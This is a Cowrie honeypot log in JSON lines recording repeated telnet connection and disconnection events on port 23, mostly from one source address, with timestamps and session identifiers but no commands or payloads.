{"eventid":"cowrie.session.closed","duration":30.569284439086914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.284223Z","src_ip":"51.161.172.108","session":"ab2ad9d4c8bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38134,"dst_ip":"159.203.135.109","dst_port":23,"session":"6061d6cf9c42","protocol":"telnet","message":"New connection: 51.161.172.108:38134 (159.203.135.109:23) [session: 6061d6cf9c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.322674Z"}
{"eventid":"cowrie.session.closed","duration":30.704195022583008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.329131Z","src_ip":"51.161.172.108","session":"1692702b25a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735812187194824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.416311Z","src_ip":"51.161.172.108","session":"e1bf17ad5f8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38272,"dst_ip":"159.203.135.109","dst_port":23,"session":"e000748e9e5d","protocol":"telnet","message":"New connection: 51.161.172.108:38272 (159.203.135.109:23) [session: e000748e9e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.517859Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38274,"dst_ip":"159.203.135.109","dst_port":23,"session":"dec4f0f72ad6","protocol":"telnet","message":"New connection: 51.161.172.108:38274 (159.203.135.109:23) [session: dec4f0f72ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.633848Z"}
{"eventid":"cowrie.session.closed","duration":31.44763493537903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.703510Z","src_ip":"51.161.172.108","session":"ccf4540e0ff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38322,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a4ded7a232a","protocol":"telnet","message":"New connection: 51.161.172.108:38322 (159.203.135.109:23) [session: 5a4ded7a232a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.785200Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38334,"dst_ip":"159.203.135.109","dst_port":23,"session":"f18717259e2a","protocol":"telnet","message":"New connection: 51.161.172.108:38334 (159.203.135.109:23) [session: f18717259e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.790780Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38368,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bac9866baa7","protocol":"telnet","message":"New connection: 51.161.172.108:38368 (159.203.135.109:23) [session: 1bac9866baa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.948580Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38394,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8f838041702","protocol":"telnet","message":"New connection: 51.161.172.108:38394 (159.203.135.109:23) [session: e8f838041702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.198378Z"}
{"eventid":"cowrie.session.closed","duration":30.816590547561646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.314558Z","src_ip":"45.10.154.244","session":"86200b8cd9e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38398,"dst_ip":"159.203.135.109","dst_port":23,"session":"f884a8a89a54","protocol":"telnet","message":"New connection: 51.161.172.108:38398 (159.203.135.109:23) [session: f884a8a89a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.328036Z"}
{"eventid":"cowrie.session.closed","duration":32.275151014328,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.415803Z","src_ip":"51.161.172.108","session":"5e5fa291cda0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38402,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4efb14f593","protocol":"telnet","message":"New connection: 51.161.172.108:38402 (159.203.135.109:23) [session: aa4efb14f593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.484710Z"}
{"eventid":"cowrie.session.closed","duration":31.208053588867188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.571457Z","src_ip":"51.161.172.108","session":"c3d398350283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38442,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b56affd91e","protocol":"telnet","message":"New connection: 51.161.172.108:38442 (159.203.135.109:23) [session: 12b56affd91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.637258Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38286,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c6e32ae646e","protocol":"telnet","message":"New connection: 51.161.172.108:38286 (159.203.135.109:23) [session: 5c6e32ae646e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.667946Z"}
{"eventid":"cowrie.session.closed","duration":31.670549631118774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.949655Z","src_ip":"51.161.172.108","session":"d677d879304e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38468,"dst_ip":"159.203.135.109","dst_port":23,"session":"452b13b1af08","protocol":"telnet","message":"New connection: 51.161.172.108:38468 (159.203.135.109:23) [session: 452b13b1af08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:14.960839Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38474,"dst_ip":"159.203.135.109","dst_port":23,"session":"a775c6eed2f3","protocol":"telnet","message":"New connection: 51.161.172.108:38474 (159.203.135.109:23) [session: a775c6eed2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.013337Z"}
{"eventid":"cowrie.session.closed","duration":31.793472290039062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.019705Z","src_ip":"51.161.172.108","session":"2a4ad3d7005f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42259931564331,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.165991Z","src_ip":"51.161.172.108","session":"5a0f9a4cca54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.917460441589355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.214040Z","src_ip":"51.161.172.108","session":"5c176cecf925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38496,"dst_ip":"159.203.135.109","dst_port":23,"session":"2294d32276e3","protocol":"telnet","message":"New connection: 51.161.172.108:38496 (159.203.135.109:23) [session: 2294d32276e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.299971Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38516,"dst_ip":"159.203.135.109","dst_port":23,"session":"33417ff1b44d","protocol":"telnet","message":"New connection: 51.161.172.108:38516 (159.203.135.109:23) [session: 33417ff1b44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.306698Z"}
{"eventid":"cowrie.session.closed","duration":30.766315698623657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.357004Z","src_ip":"51.161.172.108","session":"0fa3741d68a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38506,"dst_ip":"159.203.135.109","dst_port":23,"session":"d846c68a0ebc","protocol":"telnet","message":"New connection: 51.161.172.108:38506 (159.203.135.109:23) [session: d846c68a0ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.396780Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38542,"dst_ip":"159.203.135.109","dst_port":23,"session":"96cccc20c2eb","protocol":"telnet","message":"New connection: 51.161.172.108:38542 (159.203.135.109:23) [session: 96cccc20c2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.429867Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38518,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7ba0131f177","protocol":"telnet","message":"New connection: 51.161.172.108:38518 (159.203.135.109:23) [session: f7ba0131f177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.470917Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38544,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aae9c19cf9a","protocol":"telnet","message":"New connection: 51.161.172.108:38544 (159.203.135.109:23) [session: 5aae9c19cf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.640496Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38554,"dst_ip":"159.203.135.109","dst_port":23,"session":"233d45517058","protocol":"telnet","message":"New connection: 51.161.172.108:38554 (159.203.135.109:23) [session: 233d45517058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.734911Z"}
{"eventid":"cowrie.session.closed","duration":31.836181163787842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.745977Z","src_ip":"51.161.172.108","session":"9f294fc7f7e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19213056564331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.805362Z","src_ip":"51.161.172.108","session":"2b57ed8a74d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38560,"dst_ip":"159.203.135.109","dst_port":23,"session":"17ed476d07c9","protocol":"telnet","message":"New connection: 51.161.172.108:38560 (159.203.135.109:23) [session: 17ed476d07c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.841850Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38568,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a1ed1746bd5","protocol":"telnet","message":"New connection: 51.161.172.108:38568 (159.203.135.109:23) [session: 8a1ed1746bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:15.950112Z"}
{"eventid":"cowrie.session.closed","duration":31.449700593948364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.110000Z","src_ip":"51.161.172.108","session":"690aab2c38f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88790512084961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.210556Z","src_ip":"51.161.172.108","session":"3afe45e13b1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38582,"dst_ip":"159.203.135.109","dst_port":23,"session":"061a46fb32dc","protocol":"telnet","message":"New connection: 51.161.172.108:38582 (159.203.135.109:23) [session: 061a46fb32dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.229929Z"}
{"eventid":"cowrie.session.closed","duration":30.65557861328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.238815Z","src_ip":"51.161.172.108","session":"99c5ed4027f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42734456062317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.329267Z","src_ip":"51.161.172.108","session":"5d2163025076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03914785385132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.405499Z","src_ip":"51.161.172.108","session":"540d0e1f73a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38590,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9f5c379908","protocol":"telnet","message":"New connection: 51.161.172.108:38590 (159.203.135.109:23) [session: 8e9f5c379908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.498567Z"}
{"eventid":"cowrie.session.closed","duration":30.96468186378479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.527321Z","src_ip":"51.161.172.108","session":"dc1748f11bc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38596,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4e2c6311ada","protocol":"telnet","message":"New connection: 51.161.172.108:38596 (159.203.135.109:23) [session: c4e2c6311ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.537214Z"}
{"eventid":"cowrie.session.closed","duration":31.439589738845825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.569233Z","src_ip":"51.161.172.108","session":"b3840b26e412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40092,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f37026c6cf","protocol":"telnet","message":"New connection: 167.99.38.72:40092 (159.203.135.109:23) [session: e6f37026c6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.685761Z"}
{"eventid":"cowrie.session.closed","duration":31.23231530189514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.712650Z","src_ip":"51.161.172.108","session":"73981f8a9fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38614,"dst_ip":"159.203.135.109","dst_port":23,"session":"710bcfcda7b0","protocol":"telnet","message":"New connection: 51.161.172.108:38614 (159.203.135.109:23) [session: 710bcfcda7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:16.844628Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38646,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e8d07a05fd5","protocol":"telnet","message":"New connection: 51.161.172.108:38646 (159.203.135.109:23) [session: 1e8d07a05fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.326951Z"}
{"eventid":"cowrie.session.closed","duration":31.65475845336914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.573635Z","src_ip":"51.161.172.108","session":"7f392927b972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38670,"dst_ip":"159.203.135.109","dst_port":23,"session":"788e62b522a1","protocol":"telnet","message":"New connection: 51.161.172.108:38670 (159.203.135.109:23) [session: 788e62b522a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.579858Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38692,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cdb16a28dbf","protocol":"telnet","message":"New connection: 51.161.172.108:38692 (159.203.135.109:23) [session: 5cdb16a28dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.611582Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38694,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e3b27dd5058","protocol":"telnet","message":"New connection: 51.161.172.108:38694 (159.203.135.109:23) [session: 8e3b27dd5058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.738877Z"}
{"eventid":"cowrie.session.closed","duration":31.179292917251587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.817504Z","src_ip":"51.161.172.108","session":"01b613262930","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38708,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c114c38801","protocol":"telnet","message":"New connection: 51.161.172.108:38708 (159.203.135.109:23) [session: c6c114c38801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.907019Z"}
{"eventid":"cowrie.session.closed","duration":31.58717942237854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.911660Z","src_ip":"51.161.172.108","session":"f44d7625266b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38716,"dst_ip":"159.203.135.109","dst_port":23,"session":"eac5d94566ba","protocol":"telnet","message":"New connection: 51.161.172.108:38716 (159.203.135.109:23) [session: eac5d94566ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.925993Z"}
{"eventid":"cowrie.session.closed","duration":32.16966533660889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:17.987604Z","src_ip":"51.161.172.108","session":"bbf7607f43f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.27767086029053,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.076595Z","src_ip":"51.161.172.108","session":"a988f1d5b809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38738,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c3eaffa0f03","protocol":"telnet","message":"New connection: 51.161.172.108:38738 (159.203.135.109:23) [session: 5c3eaffa0f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.128991Z"}
{"eventid":"cowrie.session.closed","duration":30.676421642303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.205583Z","src_ip":"51.161.172.108","session":"5a5d6c9bfb84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116771697998047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.284693Z","src_ip":"51.161.172.108","session":"39d227fe1001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38750,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d966e784feb","protocol":"telnet","message":"New connection: 51.161.172.108:38750 (159.203.135.109:23) [session: 5d966e784feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.305732Z"}
{"eventid":"cowrie.session.closed","duration":31.972578048706055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.370998Z","src_ip":"51.161.172.108","session":"e31754829111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72983193397522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.423949Z","src_ip":"51.161.172.108","session":"1481634a593b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09549641609192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.428832Z","src_ip":"51.161.172.108","session":"a221bcdefdb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38756,"dst_ip":"159.203.135.109","dst_port":23,"session":"36cae7265d06","protocol":"telnet","message":"New connection: 51.161.172.108:38756 (159.203.135.109:23) [session: 36cae7265d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.452907Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38786,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8789c11da76","protocol":"telnet","message":"New connection: 51.161.172.108:38786 (159.203.135.109:23) [session: f8789c11da76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:18.958516Z"}
{"eventid":"cowrie.session.closed","duration":31.731640338897705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.043929Z","src_ip":"51.161.172.108","session":"991a00eeaef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38798,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3de793b106b","protocol":"telnet","message":"New connection: 51.161.172.108:38798 (159.203.135.109:23) [session: f3de793b106b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.066185Z"}
{"eventid":"cowrie.session.closed","duration":30.890087604522705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.165153Z","src_ip":"51.161.172.108","session":"7ba8f8b32370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222169876098633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.295418Z","src_ip":"51.161.172.108","session":"0718022586e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675278425216675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.304488Z","src_ip":"51.161.172.108","session":"9dff9c3cf271","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16032123565674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.313581Z","src_ip":"51.161.172.108","session":"cc941b9f7cfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35898,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9e2c950693b","protocol":"telnet","message":"New connection: 51.161.172.108:35898 (159.203.135.109:23) [session: f9e2c950693b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.430964Z"}
{"eventid":"cowrie.session.closed","duration":31.595337867736816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.450329Z","src_ip":"51.161.172.108","session":"9f8f143e339e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.30754089355469,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.485287Z","src_ip":"51.161.172.108","session":"c2ec0b900561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35914,"dst_ip":"159.203.135.109","dst_port":23,"session":"169c92905ce7","protocol":"telnet","message":"New connection: 51.161.172.108:35914 (159.203.135.109:23) [session: 169c92905ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.711263Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38774,"dst_ip":"159.203.135.109","dst_port":23,"session":"459033bbd0e9","protocol":"telnet","message":"New connection: 51.161.172.108:38774 (159.203.135.109:23) [session: 459033bbd0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.789334Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35924,"dst_ip":"159.203.135.109","dst_port":23,"session":"112a0621ac1b","protocol":"telnet","message":"New connection: 51.161.172.108:35924 (159.203.135.109:23) [session: 112a0621ac1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:19.944193Z"}
